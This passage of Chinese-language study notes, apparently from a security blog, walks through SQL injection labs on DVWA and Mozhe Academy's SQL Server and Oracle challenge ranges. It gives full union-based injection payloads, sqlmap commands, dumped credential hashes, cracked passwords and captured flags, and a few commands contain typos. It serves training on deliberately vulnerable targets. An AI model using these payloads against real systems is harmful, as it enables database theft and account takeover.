&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/7413eaeec1-图片7.png&quot; alt=&quot;图片7&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;则说明数据表中的列数有两列

②联合查询 union select 

1&apos; and 1=2 union select 1,2 #                   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/412844629f-图片8.png&quot; alt=&quot;图片8&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;③查询数据库的名字

1&apos; and 1=2 union select 1,database() # 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/f6ab1b14ff-图片9.png&quot; alt=&quot;图片9&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;可知数据库的名字为dvwa

④查询数据库中，数据表的名字

1&apos; and 1=2 union select 1,table_name from information_schema.tables where table_schema=&apos;dvwa&apos; #
注：Illegal mix of collations for operation &apos;UNION&apos;

如果出现了这个错误，则要加hex()，详见下

1&apos; and 1=2 union select 1,hex(table_name) from information_schema.tables where table_schema=&apos;dvwa&apos; #
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/56dc8fb868-图片10.png&quot; alt=&quot;图片10&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;通过16进制转换后添加可得上图所示

（如果获得的是16进制的数据表名，要通过转换将16进制转成正常的数据表名，guestbook 数据表1的名字，users 数据表2的名字）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/641ec2ea9a-图片11.png&quot; alt=&quot;图片11&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;⑤查询数据表中，数据列的名字

1&apos; and 1=2 union select 1,hex(column_name) from information_schema.columns where table_name=&apos;users&apos; #
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/a2b8f9e147-图片12.png&quot; alt=&quot;图片12&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;通过16进制转换后添加可得上图所示

⑥查询数据列中的数据信息

1&apos; and 1=2 union select 1,concat(user,&apos;---&apos;,password) from users #
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/59860c17bd-图片13.png&quot; alt=&quot;图片13&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;通过Md5解密后添加可得上图所示
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/a22c210154-图片14.png&quot; alt=&quot;图片14&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h6&gt;2）&lt;strong&gt;模块：SQL Injection(回显注入-字符型)&lt;/strong&gt;——自动注入&lt;/h6&gt;
&lt;p&gt;DVWA靶机low安全等级的sql注入（用sqlmap完成）作业报告  2023-6-10&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一、前置准备&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1、安装Python3.7.2,自定义安装,选择非中文的目录（我的选择是在D盘新建Python3文件夹，由于我的电脑无法自定义安装，所以我选择将安装后的文件剪切到我新建的Python3文件夹中，此时的Python3.7.2文件地址为D:\Python3）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/910f5b0039-%E5%9B%BE%E7%89%8726.png&quot; alt=&quot;图片26&quot; /&gt;&lt;/p&gt;
&lt;p&gt;2、修改环境变量，此电脑-&amp;gt;属性-&amp;gt;高级系统设置-&amp;gt;环境变量-&amp;gt;系统变量-&amp;gt;Path-&amp;gt;编辑-&amp;gt;添加Python3.7.2的路径（我的路径为D:\Python3）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/28aff90c75-%E5%9B%BE%E7%89%8727.png&quot; alt=&quot;图片27&quot; /&gt;&lt;/p&gt;
&lt;p&gt;3、打开cmd测试，如出现下图所示，则配置成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/568b831974-%E5%9B%BE%E7%89%8728.png&quot; alt=&quot;图片28&quot; /&gt;&lt;/p&gt;
&lt;p&gt;4、同理，下载sqlmap（我是下载到D盘的sqlmap文件夹里）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/7a9ac92f5c-%E5%9B%BE%E7%89%8729.png&quot; alt=&quot;图片29&quot; /&gt;&lt;/p&gt;
&lt;p&gt;5、直接在sqlmap路径栏输入cmd，输入python sqlmap.py,如出现下图2所示，则运行成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/178ec9e9ce-%E5%9B%BE%E7%89%8730.png&quot; alt=&quot;图片30&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/512ee3e56e-%E5%9B%BE%E7%89%8731.png&quot; alt=&quot;图片31&quot; /&gt;&lt;/p&gt;
&lt;p&gt;5、同理，下载burpsuite（我是下载到D盘的burpsuite文件夹里）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/3150646186-%E5%9B%BE%E7%89%8732.png&quot; alt=&quot;图片32&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;二、操作步骤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1、在burpsuite的文件夹内（也就是在该路径下），打开burpsuitecommunity.exe&lt;/p&gt;
&lt;p&gt;点击Proxy-&amp;gt;Options-&amp;gt;127.0.0.1：8080-&amp;gt;Edit-&amp;gt;Bind to port改成8081&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/5f68c382d1-%E5%9B%BE%E7%89%8733.png&quot; alt=&quot;图片33&quot; /&gt;&lt;/p&gt;
&lt;p&gt;2、打开phpstudy，并启动Apache和MySQL，打开Firefox，输入（IPv4 地址）/ DVWA-master, 访问到靶机环境，来到登录界面:默认登录用户名: admin 默认登录密码: password，修改靶机的安全等级为low，再点击SQL Injection-&amp;gt;User ID输入1并提交&lt;/p&gt;
&lt;p&gt;3、打开Firefox的设置，修改代理&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/bf983ac8ed-%E5%9B%BE%E7%89%8734.png&quot; alt=&quot;图片34&quot; /&gt;&lt;/p&gt;
&lt;p&gt;4、返回SQL Injection，再次在User ID输入1并提交，这时在burpsuite中的intercept中就有了响应&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/e3f4d723ae-%E5%9B%BE%E7%89%8735.png&quot; alt=&quot;图片35&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击Action-&amp;gt;Save item(保存在桌面，命名为6_3.txt)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/52536b4672-%E5%9B%BE%E7%89%8736.png&quot; alt=&quot;图片36&quot; /&gt;&lt;/p&gt;
&lt;p&gt;5、重复（一、前置操作）第五步操作，直接在sqlmap路径栏输入cmd，再输入python sqlmap. py –r “C:Users\Lin\Desktop\6_3.txt(此为第4步保存的6_3.txt的保存路径)” --current-db//获取当前网站所对应的数据库名，在我的cmd中测试如下图所示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/20483931a9-%E5%9B%BE%E7%89%8737.png&quot; alt=&quot;图片37&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注：如果没有出现新的盘符符号就一直按回车，例如我的sqlmap存在D盘，那么我新的盘符符号为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/01c2b5cd01-%E5%9B%BE%E7%89%8738.png&quot; alt=&quot;图片38&quot; /&gt;&lt;/p&gt;
&lt;p&gt;6、出现新的盘符符号后，再输入python sqlmap. py –r “C:Users\Lin\Desktop\6_3.txt(此为第4步保存的6_3.txt的保存路径)” -Ddwa --tables//获取dvwa数据库中的数据表，在我的cmd中测试如下图所示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/c06e866bdf-%E5%9B%BE%E7%89%8739.png&quot; alt=&quot;图片39&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Python sqlmap py-r”C:Users\Lin\Desktop\6.3txt(此为第4步保存的6_3.txt的保存路径)’’-Ddwa—tables//获取dvwa数据库中的数据表，在我的cmd中测试如下图&lt;/p&gt;
&lt;p&gt;7、出现新的盘符符号后，再输入python sqlmap. py –r “C:Users\Lin\Desktop\6_3.txt(此为第4步保存的6_3.txt的保存路径)” -D dvwa -T users --columns //获取数据库里面的某张数据表的列名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/b2de9e7d7c-%E5%9B%BE%E7%89%8740.png&quot; alt=&quot;图片40&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/ade3778535-%E5%9B%BE%E7%89%8741.png&quot; alt=&quot;图片41&quot; /&gt;&lt;/p&gt;
&lt;p&gt;8、出现新的盘符符号后，再输入python sqlmap. py –r “C:Users\Lin\Desktop\6_3.txt(此为第4步保存的6_3.txt的保存路径)” -Ddwa -T users -C user, password --dump //获取user和password这两列的数据信息&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/1dca3e3942-%E5%9B%BE%E7%89%8742.png&quot; alt=&quot;图片42&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/eb9878bb6d-%E5%9B%BE%E7%89%8743.png&quot; alt=&quot;图片43&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时我们就获取了Ddwa这个网站中其他用户的账号和密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/3273803931-%E5%9B%BE%E7%89%8744.png&quot; alt=&quot;图片44&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;三、课堂笔记&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/a4dbe5e390-%E5%9B%BE%E7%89%8745.png&quot; alt=&quot;图片45&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/8f5de6727e-%E5%9B%BE%E7%89%8746.png&quot; alt=&quot;图片46&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;2&amp;gt;SQL手工注入漏洞测试(Sql Server数据库)【墨者学院 https://www.mozhe.cn/】&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;网页名为：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;XWAY科技管理系统V3.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;目标：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;获得该系统管理员的账号密码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;首先对SQL server进行回顾&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sysobjects:存放了所有的表信息，类似于tables，name字段；xtype：存放表类型，u为用户创建的表，x为系统创建的表。

但是通常都是查询u，人为创建的表里面的信息才是我们想要的
x为系统创建的表，里面的信息不是我们想要的，没什么价值

syscolumns:记录数据库所有字段信息。name字段。他的id的值和sysobjects中的id是一一对应的。

db_name():返回当前数据库名称。类似于database().

char():将ascii码转化为对应的字符。

ascii():将字符转化为对应的ascii.

substring():截取字符串。

user:当前用户模式
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入页面发现除了账号密码之外好像没有什么可以点的，但是在账号密码的下方有一个一直滚动的通告，通告信息一般都是从数据库调取的，所以我们可以&lt;strong&gt;从这则通告入手&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;通告网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://219.153.49.228:47702/new_list.asp?id=2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;从asp?id=2中就可以大概判断出这是SQL server类型的数据库&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;1、判断字符类型&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://219.153.49.228:47702/new_list.asp?id=2/2 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;页面发生了跳转变化，说明这是&lt;strong&gt;数字型&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;2、判断字段长度并联合查询&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://219.153.49.228:47702/new_list.asp?id=2 order by 4 --+ 可以

http://219.153.49.228:47702/new_list.asp?id=2 order by 5 --+ 报错

如果是MySQL的话则可以判断是有4个字段，此时我们来测试一下 

http://219.153.49.228:47702/new_list.asp?id=2 order by 3 --+ 也同样报错

这是因为SQL server自身的一个编码问题，让这些字段有些是数字型有些是字符型

所以得要进行猜测，order by n 让n的数字更大一些如果还正常的话就很有可能是字段长度
（n越大又正常的就有较大的可能性是这样的一个字段数量）

这里的联合查询就不能用union select，要用union all select,因为SQL sever的编码比较严格

（事实上MySQL也是要用union all select，不过由于MySQL对编码并没有这么严格再加上输入union select省事，所以我们MySQL才经常使用union select而不是union all select）

由于这些字段有些是数字型有些是字符型

之前有提到过使用联合查询的时候前语句字段是什么类型的后语句字段也要什么类型，要一一对应

由于最开始判断order by 2正常，order by 3出错,所以假使我们以为字段就只有两个长度,先把后语句的两个字段占下来

http://219.153.49.228:47702/new_list.asp?id=2 union all select null,null --+

这里的null什么类型都不是，既不是数字型又不是字符型，就可以完美的和前语句匹配上，让整个语句不会报错

但是此时输入后却发现，页面依旧报错了，所以我们能得到的一个信息就是不止有两个字段，最开始的判断错误

所以我们就往上加，到第4个字段可以到第5个字段又不行，所以我们再猜测，它是有4个字段的

http://219.153.49.228:47702/new_list.asp?id=2 union all select null,null,null.null --+

现在发现页面可以正常回显，这说明我们判断有4个字段是真的，所以判断字段的顺序就是先用order by先大致确定出可能的几个范围，然后再用联合查询一一尝试

现在页面回显的还是前语句的信息，由于我们所需要的是后语句的信息，所以就需要让id=-2，令前语句为假，后语句为真页面才能返回出后语句的内容

http://219.153.49.228:47702/new_list.asp?id=-2 union all select null,null,null.null --+

但是此时发现页面什么信息都没有回显，这时我们不要慌，因为我们后语句写的都是null，而不是与字段类型一一匹配的数字，所以此时我们就需要将后语句的null，一个一个用数字，有顺序的进行字符类型尝试，和替换

就譬如把第一个null换成1，再把构造好的payload输入到网址没有报错就证明第一个字段判断为数字型型是正确的，把第三个null换成&apos;3&apos;,再把构造好的payload输入到网址没有报错就证明第三个字段判断是字符型是正确的，以此类推进行推测判断

最后进行一一测试后可以判断，第一、二、四个字段是数字型，第三个字段是字符型

http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,2,&apos;3&apos;,4 --+

此时网页的回显为2和3，也就是只有第二个字段和第三个字段可以回显给我们看的，我们就可以针对这两个字段动手动脚了

这里，我们选择第二个字段动手，把命令写在2这个字段上
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3、查询数据库名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,db_name(),&apos;3&apos;,4 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查询到数据库名为：&lt;strong&gt;mozhe_db_v2&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;4、查询用户模式&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,user,&apos;3&apos;,4 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查询到的用户模式为：&lt;strong&gt;dbo&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;5、查询数据表名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;格式：

http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,name,&apos;3&apos;,4 from mozhe_db_v2(数据库名).dbo(用户模式).sysobjects where xtype=&apos;u&apos;(如果网页过滤掉单引号的用就用十六进制转换u，写xtype=0x75） --+

输入：http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,name,&apos;3&apos;,4 from mozhe_db_v2.dbo.sysobjects where xtype=0x75 --+

如果没有查询用户模式，没有写dbo，也可以把它删了，但是旁边的两个点 &apos;..&apos; 不能删

就譬如：

http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,name,&apos;3&apos;,4 from mozhe_db_v2..sysobjects where xtype=0x75 --+

sysobjects：存放了所有的表信息

sysobjects这张表里面有个name字段，类似于mysql里面的table_name字段，所以查询表就要写name

xtype：存放表类型，u为用户创建的表，x为系统创建的表。

就可以查询出其中的一张表为：manage

用 and name not in (&apos; &apos;,&apos; &apos;,...) 这个语句排除已经查询过的数据表就可以知道下一张表的名字，从而达到显示下一张表的效果

http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,name,&apos;3&apos;,4 from mozhe_db_v2..sysobjects where xtype=0x75 and name not in (&apos;manage&apos;) --+  

下一张表名为：announcement

http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,name,&apos;3&apos;,4 from mozhe_db_v2..sysobjects where xtype=0x75 and name not in (&apos;manage&apos;,&apos;announcement&apos;) --+  

发现页面并没有回显出新的数据表名，就说明数据表一共就只有：manage,announcement 这两张表

从表的名字来看很明显，manage这张表更有可能有我们需要的账号密码的信息
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;6、查询数据列名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;syscolumns:记录数据库所有字段信息。name字段。他的id的值和sysobjects中的id是一一对应的。

http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,name,&apos;3&apos;,4 from mozhe_db_v2..syscolumns where id=(select id from mozhe_db_v2..sysobjects where name=&apos;manage&apos;) --+

就可以查询出manage这张表里面的第一个数据列名为：id

和查询数据表名一样，接着我们查询下一个数据列名

http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,name,&apos;3&apos;,4 from mozhe_db_v2..syscolumns where id=(select id from mozhe_db_v2..sysobjects where name=&apos;manage&apos;) and name not in (&apos;id&apos;) --+

第二个数据列名为：username

http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,name,&apos;3&apos;,4 from mozhe_db_v2..syscolumns where id=(select id from mozhe_db_v2..sysobjects where name=&apos;manage&apos;) and name not in (&apos;id&apos;,&apos;username&apos;) --+

第三个数据列名为：password

http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,name,&apos;3&apos;,4 from mozhe_db_v2..syscolumns where id=(select id from mozhe_db_v2..sysobjects where name=&apos;manage&apos;) and name not in (&apos;id&apos;,&apos;username&apos;,&apos;password&apos;) --+

发现页面并没有回显出新的数据列名，就说明数据列一共就只有：id,username,password 这三个数据列

此时我们发现我们所需要的账号密码也许就在username和password这两个数据列中了
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;7、查询数据信息&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,username,password,4 from manage --+

就可以查询出第一个数据信息为：  admin_mz     72e1bfc3f01b7583    也就是第一个账号密码

接着查询下一个数据信息

http://219.153.49.228:47702/new_list.asp?id=-2 union all select 1,username,password,4 from manage where username not in (&apos;admin_mz&apos;) --+

发现页面并没有回显出新的数据信息，就说明这两个数据列中一共就只有：admin_mz,72e1bfc3f01b7583这一个账号密码

密码72e1bfc3f01b7583通过CMD5网址解密后为97285101

所以该科技管理系统的账号为admin_mz，密码为97285101

返回http://219.153.49.228:47702后输入账号密码成功登录

拿到KEY：mozhec464f9b60602baa59e64815513c 
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3&amp;gt;SQL手工注入漏洞测试(Oracle数据库)【墨者学院 https://www.mozhe.cn/】&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;网页名为：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;XWAY科技管理系统V3.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;目标：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;获得该系统管理员的账号密码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;首先对Oracle进行回顾&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dual:oracle系统表 

可以判断一下这个表是否存在，如果存在就是一个Oracle数据库

all_tables表:存放了oracle里面所有的表信息。

table_name字段：下面存放了其他数据库的表信息。

all_tab_columns表:存放了oralce里面所有数据库的字段信息。

column_name字段：下面存放了具体的字段信息。

rownum=1:类似于mysql中的limit 0,1，一次只能显示一行信息。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入页面发现除了账号密码之外好像没有什么可以点的，但是在账号密码的下方有一个一直滚动的通告，通告信息一般都是从数据库调取的，所以我们可以&lt;strong&gt;从这则通告入手&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;通告网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://124.70.22.208:41510/new_list.php?id=1
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;1、&lt;strong&gt;判断字符类型&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://124.70.22.208:41510/new_list.php?id=1 and 1=1 --+

http://124.70.22.208:41510/new_list.php?id=1 and 1=2 --+

看页面回显，回显不一样则是数字型，一样则是char类型

输入完两句payload后发现页面回显是不一样的，所以可以判断是数字型
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;&lt;strong&gt;2、判断字段长度并联合查询&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://124.70.22.208:41510/new_list.php?id=1 order by 2 正常

http://124.70.22.208:41510/new_list.php?id=1 order by 3 报错

所以可以判断是有2个字段长度

Oracle这里的联合查询要把后语句的字段都当成字符型来写,而且必须要from dual(Oracle的系统表)

http://124.70.22.208:41510/new_list.php?id=1 union select &apos;1&apos;,&apos;2&apos; from dual --+

如果这条查询语句页面能有回显的话就可以确定这是个Oracle类型的数据库了

此时页面回显为1、2

我们选择1来进行操作

在Oracle这里查询数据库名是没有意义的，因为all_tables这张表中没有存放所属数据库名的字段，没法通过数据库名去筛选出我们想要的所对应的表信息

所以Oracle可以直接略过查找数据库名，直接找表
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3、查询数据表&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://124.70.22.208:41510/new_list.php?id=1 union select table_name,&apos;2&apos; from all_tables where rownum=1 --+

rownum是用来限制显示信息的，因为页面一次无法显示出所有信息

此时，我们查询到第一个数据表名为TYPE_MISC$

如果我们要查询下一条信息的话就需要在后面跟着 and table_name not in (&apos; &apos;,&apos; &apos;,...)这个语句

http://124.70.22.208:41510/new_list.php?id=1 union select table_name,&apos;2&apos; from all_tables where rownum=1 and table_name not in (&apos;TYPE_MISC$&apos;) --+

查询出第二个表信息为ICOL$

但是此时要注意我们查询的是all_tables这张表，记录的是Oracle里面所有的表信息，所以信息是巨量的

此时我们就需要换种方式，用 and table_name  like &apos;%user%&apos;这个语句，模糊搜索查询关键字来操作（存放账号密码的表名关键字有可能没有 &apos; user &apos; ，是 &apos; manage &apos; 我们都可以试一下）

这个就只能靠猜，要是运气比较差，人家把存放账号密码的数据表名弄得奇奇怪怪，我们有可能就真的注入不了

http://124.70.22.208:41510/new_list.php?id=1 union select table_name,&apos;2&apos; from all_tables where rownum=1 and table_name like &apos;%user%&apos; --+

可以发现页面回显了个sns_users

这张表有可能就存放着我们想要的账号密码的信息

如果我们想再查找除了sns_users这张表以外的其他有关user关键字的表信息怎么办呢？

我们就可以继续跟 and table_name not in (&apos; &apos;)

http://124.70.22.208:41510/new_list.php?id=1 union select table_name,&apos;2&apos; from all_tables where rownum=1 and table_name like &apos;%user%&apos; and table_name not in (&apos;sns_users&apos;) --+

可以发现页面没有再显出其他有关user关键字的表名

我们再尝试尝试用manage关键字模糊搜索试试

http://124.70.22.208:41510/new_list.php?id=1 union select table_name,&apos;2&apos; from all_tables where rownum=1 and table_name like &apos;%manage%&apos; --+

可以发现页面依旧没有返回其他数据表名的信息

所以我们可以大概率猜测账号密码就存放在最开始搜索的sns_users这张表里
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;4、查询数据列名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://124.70.22.208:41510/new_list.php?id=1 union select column_name,&apos;2&apos; from all_tab_columns where rownum=1 and table_name=&apos;sns_users&apos; --+

查询出第一个数据列名为 USER_NAME

继续查询下一个数据列名

我们就可以继续跟 and column_name not in (&apos; &apos;)

http://124.70.22.208:41510/new_list.php?id=1 union select column_name,&apos;2&apos; from all_tab_columns where rownum=1 and table_name=&apos;sns_users&apos; and column_name not in (&apos;USER_NAME&apos;) --+

查询出第二个数据列名为 USER_PWD

继续查询下一个数据列名

http://124.70.22.208:41510/new_list.php?id=1 union select column_name,&apos;2&apos; from all_tab_columns where rownum=1 and table_name=&apos;sns_users&apos; and column_name not in (&apos;USER_NAME&apos;,&apos;USER_PWD&apos;) --+

查询出第三个数据列名为 STATUS

http://124.70.22.208:41510/new_list.php?id=1 union select column_name,&apos;2&apos; from all_tab_columns where rownum=1 and table_name=&apos;sns_users&apos; and column_name not in (&apos;USER_NAME&apos;,&apos;USER_PWD&apos;,&apos;STATUS&apos;) --+

此时页面没有再回显出其他的数据列信息

所以sns_users这张表里面存在的数据列名有：USER_NAME,USER_PWD,STATUS 三个数据列名

此时我们发现USER_NAME,USER_PWD这两个数据列大概率就是我们想要的账号密码信息的两个数据列名
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;5、查询数据信息&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://124.70.22.208:41510/new_list.php?id=1 union select USER_NAME,USER_PWD from &quot;sns_users&quot; --+ 

注意最后的数据表名要加上引号，这也是跟MySQL不一样的地方，还有这里不能使用group_concat( )语句，都放在1这个地方查询账号密码，因为原本回显的地方就有两处1和2，所以把要查询的这两个数据列分别放在两个位置上即可

查询到第一个数据信息也就是账号密码为 hu 1c63129ae9db9g20asdua94d3e00495

继续查询下一个数据信息

继续跟上 where USER_NAME not in (&apos; &apos;,&apos; &apos;,...) 这个语句

http://124.70.22.208:41510/new_list.php?id=1 union select USER_NAME,USER_PWD from &quot;sns_users&quot; where USER_NAME not in (&apos;hu&apos;) --+ 

查询到第二个数据信息也就是账号密码为 mozhe 6b567d8dbb1f534ca99e6ce028f1198d

继续查询下一个数据信息

http://124.70.22.208:41510/new_list.php?id=1 union select USER_NAME,USER_PWD from &quot;sns_users&quot; where USER_NAME not in (&apos;hu&apos;,&apos;mozhe&apos;) --+ 

查询到第三个数据信息也就是账号密码为 zhong 1c63129ae9asc60asdua94d3e00495

继续查询下一个数据信息

http://124.70.22.208:41510/new_list.php?id=1 union select USER_NAME,USER_PWD from &quot;sns_users&quot; where USER_NAME not in (&apos;hu&apos;,&apos;mozhe&apos;,&apos;zhong&apos;) --+ 

此时页面没有再回显出其他的数据信息

综上所述，账号密码一共有三个(密码经过cmd5网址解密)：

hu 1c63129ae9db9g20asdua94d3e00495 未能成功解密

mozhe 6b567d8dbb1f534ca99e6ce028f1198d(391088)

zhong 1c63129ae9asc60asdua94d3e00495 未能成功解密

所以该科技管理系统的账号为mozhe，密码为391088

返回http://124.70.22.208:41510/后输入账号密码成功登录

拿到KEY：mozhefbbbee2e50e0cb6dff75d5bbcd9
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;十、SQL注入渗透实操笔记&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;(注：此部分都是基于靶场或者实践的认知，并无系统的梳理)&lt;/strong&gt;&lt;/p&gt;
